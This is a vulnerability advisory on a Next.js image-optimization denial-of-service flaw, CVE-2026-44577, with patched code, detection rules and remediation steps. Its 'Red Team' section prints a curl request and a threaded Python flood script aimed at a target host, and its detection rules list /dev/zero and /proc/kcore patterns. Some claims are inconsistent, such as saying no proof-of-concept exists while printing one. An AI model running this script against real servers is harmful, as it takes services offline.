CVE-2026-44577

Executive Summary

CVE-2026-44577 is a denial-of-service (DoS) vulnerability in the Next.js framework, affecting self-hosted deployments using the default image loader. The flaw resides in the Image Optimization API (/_next/image), which fetches local images entirely into memory without enforcing a maximum size limit. An attacker can trigger out-of-memory (OOM) conditions by requesting large local assets that match the images.localPatterns configuration (by default, all patterns are allowed). This can lead to service disruption or complete crash of the Node.js process.

The vulnerability has a CVSS score of 5.9 (Medium) and affects all versions from 10.0.0 up to (but not including) 15.5.16 and 16.2.5. Patches are available in versions 15.5.16 and 16.2.5, which introduce a configurable maximum image size limit (default 10MB). No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability affects the npm package next. Organizations using Next.js in self-hosted environments should immediately update to the patched versions. The default image loader is commonly used, making this a widespread risk. Supply chain security teams should verify that no vulnerable versions are present in their dependency trees and consider implementing runtime protections such as request size limits and memory monitoring.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High

The vulnerability is easily exploitable remotely without authentication, but the impact is limited to availability. An attacker can cause a denial of service by exhausting server memory, but cannot access or modify data.

Deep Dive & Mechanics

The Next.js Image Optimization API (/_next/image) is designed to serve optimized images by resizing and converting them on-the-fly. When self-hosting with the default image loader, the API fetches local images from the filesystem based on the src parameter. The vulnerability arises because the API reads the entire image file into memory before processing, without any size limit check.

Attack Flow:

1. An attacker identifies a self-hosted Next.js application with the default image loader.
2. The attacker crafts a request to /_next/image with a src parameter pointing to a large local file (e.g., a multi-gigabyte file or a symlink to /dev/zero).
3. The API reads the entire file into memory, consuming all available RAM.
4. The Node.js process crashes due to out-of-memory (OOM) condition, causing a denial of service.

Root Cause: The images.localPatterns configuration (which defaults to allowing all patterns) does not restrict file sizes. The API lacks a maximum file size check before reading the file into memory.

Patched Behavior: In versions 15.5.16 and 16.2.5, a configurable maximum image size limit is introduced (default 10MB). If the file exceeds this limit, the API returns an error without reading the entire file into memory.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

// In the Image Optimization API handler
async function optimizeImage(req, res) {
  const { src } = req.query;
  const filePath = path.join(process.cwd(), 'public', src);
  
  // No size check - reads entire file into memory
  const imageBuffer = await fs.promises.readFile(filePath);
  
  // Process and optimize the image
  const optimized = await sharp(imageBuffer).resize(800).toBuffer();
  res.setHeader('Content-Type', 'image/webp');
  res.send(optimized);
}

Patched Code (simplified):

// In the Image Optimization API handler
const MAX_IMAGE_SIZE = 10 * 1024 * 1024; // 10MB default, configurable

async function optimizeImage(req, res) {
  const { src } = req.query;
  const filePath = path.join(process.cwd(), 'public', src);
  
  // Check file size before reading
  const stats = await fs.promises.stat(filePath);
  if (stats.size > MAX_IMAGE_SIZE) {
    return res.status(400).json({ error: 'Image too large' });
  }
  
  // Read file into memory only if size is acceptable
  const imageBuffer = await fs.promises.readFile(filePath);
  
  // Process and optimize the image
  const optimized = await sharp(imageBuffer).resize(800).toBuffer();
  res.setHeader('Content-Type', 'image/webp');
  res.send(optimized);
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A self-hosted Next.js application (version 10.0.0 to 15.5.15 or 16.0.0 to 16.2.4) with default image loader.
• A large file accessible via the images.localPatterns configuration (default allows all).

Exploitation Steps:

1. Identify a large local file (e.g., a large log file or a symlink to /dev/zero):

   # Create a large file in the public directory
   dd if=/dev/zero of=./public/largefile.bin bs=1M count=1000
   

2. Craft a request to trigger OOM:

   curl "http://target.com/_next/image?url=/largefile.bin&w=800&q=75"
   

3. Automate with a simple script:

   import requests
   import threading
   
   def dos_attack():
       while True:
           try:
               requests.get("http://target.com/_next/image?url=/largefile.bin&w=800&q=75", timeout=5)
           except:
               pass
   
   # Launch multiple threads
   threads = []
   for i in range(10):
       t = threading.Thread(target=dos_attack)
       t.start()
       threads.append(t)
   
   for t in threads:
       t.join()
   

Expected Outcome: The Node.js process crashes due to OOM, causing the application to become unavailable.

Blue Team (Defense & Detection)

Detection:

• Monitor for requests to /_next/image with unusually large response sizes or high memory consumption.
• Use the detection rules provided in the Detection Engineering section.

Mitigation:

• Immediately update to Next.js 15.5.16 or 16.2.5.
• If patching is not possible, implement a reverse proxy (e.g., Nginx) to limit request body size and file access:

  location /_next/image {
      proxy_pass http://localhost:3000;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
      
      # Limit request body size
      client_max_body_size 10m;
      
      # Restrict access to specific patterns
      if ($arg_url !~ ^/images/) {
          return 403;
      }
  }
  

• Implement memory monitoring and alerting for the Node.js process.
• Use a Web Application Firewall (WAF) to block requests with suspicious url parameters.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Repeated requests to /_next/image with large url parameters (e.g., pointing to files >10MB).
  • High outbound bandwidth from the server to itself (local file reads).
  • HTTP 500 errors or connection resets during the attack.

• System IOCs:

  • Node.js process crash logs with "FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory".
  • High memory usage (near 100%) on the server.
  • Large temporary files in /tmp or the Next.js cache directory.

• File IOCs:

  • Unusually large files in the public directory (e.g., >100MB) that are not legitimate assets.
  • Symlinks pointing to system files (e.g., /dev/zero, /proc/kcore).

Detection Engineering

YARA Rule

rule Detect_NextJS_OOM_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2026-44577 by requesting large local files via /_next/image"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-44577"
        severity = "high"
    strings:
        $url_pattern = "/_next/image?url=" ascii wide nocase
        $large_file = "largefile" ascii wide nocase
        $dev_zero = "/dev/zero" ascii wide nocase
        $proc_kcore = "/proc/kcore" ascii wide nocase
    condition:
        $url_pattern and (
            $large_file or
            $dev_zero or
            $proc_kcore
        )
}

Sigma Rule

title: Next.js Image Optimization OOM Exploit Attempt
id: 8f7a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects HTTP requests targeting /_next/image with suspicious URL parameters indicating an attempt to exploit CVE-2026-44577
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44577
logsource:
    category: webserver
    product: nextjs
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/_next/image'
        cs-uri-query|contains: 'url='
    filter:
        cs-uri-query|contains:
            - '/dev/zero'
            - '/proc/kcore'
            - 'largefile'
            - '.bin'
    condition: selection and filter
falsepositives:
    - Legitimate requests to large images (rare)
level: high
tags:
    - attack.t1499
    - cve.2026.44577

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-44577 Next.js Image Optimization OOM Attempt"; flow:to_server; content:"/_next/image"; http_uri; content:"url="; http_uri; pcre:"/url=.*(?:largefile|dev\/zero|proc\/kcore)/Ui"; classtype:attempted-dos; sid:1000001; rev:1; reference:cve,2026-44577;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Next.js 15.5.16 or 16.2.5 immediately.

   npm install next@15.5.16
   # or
   npm install next@16.2.5
   

2. Configuration: If patching is delayed, configure the images.localPatterns to restrict access to only necessary directories and files:

   // next.config.js
   module.exports = {
     images: {
       localPatterns: [
         { pathname: '/images/**', search: '' },
       ],
     },
   };
   

3. Reverse Proxy: Implement request size limits and file access restrictions at the reverse proxy level (see Blue Team section).

Long-term Recommendations:

• Implement memory monitoring and alerting for Node.js processes.
• Regularly update dependencies and monitor for security advisories.
• Use a Web Application Firewall (WAF) with rules to detect and block OOM attack patterns.
• Consider using a CDN or image optimization service that handles image processing externally.

Workarounds:

• Disable the Image Optimization API entirely if not needed:

  // next.config.js
  module.exports = {
    images: {
      loader: 'custom',
      loaderFile: './my-loader.js',
    },
  };
  

• Use a custom image loader that enforces size limits.

Report generated by Valters IT DevSecOps & CTI Framework
Valters IT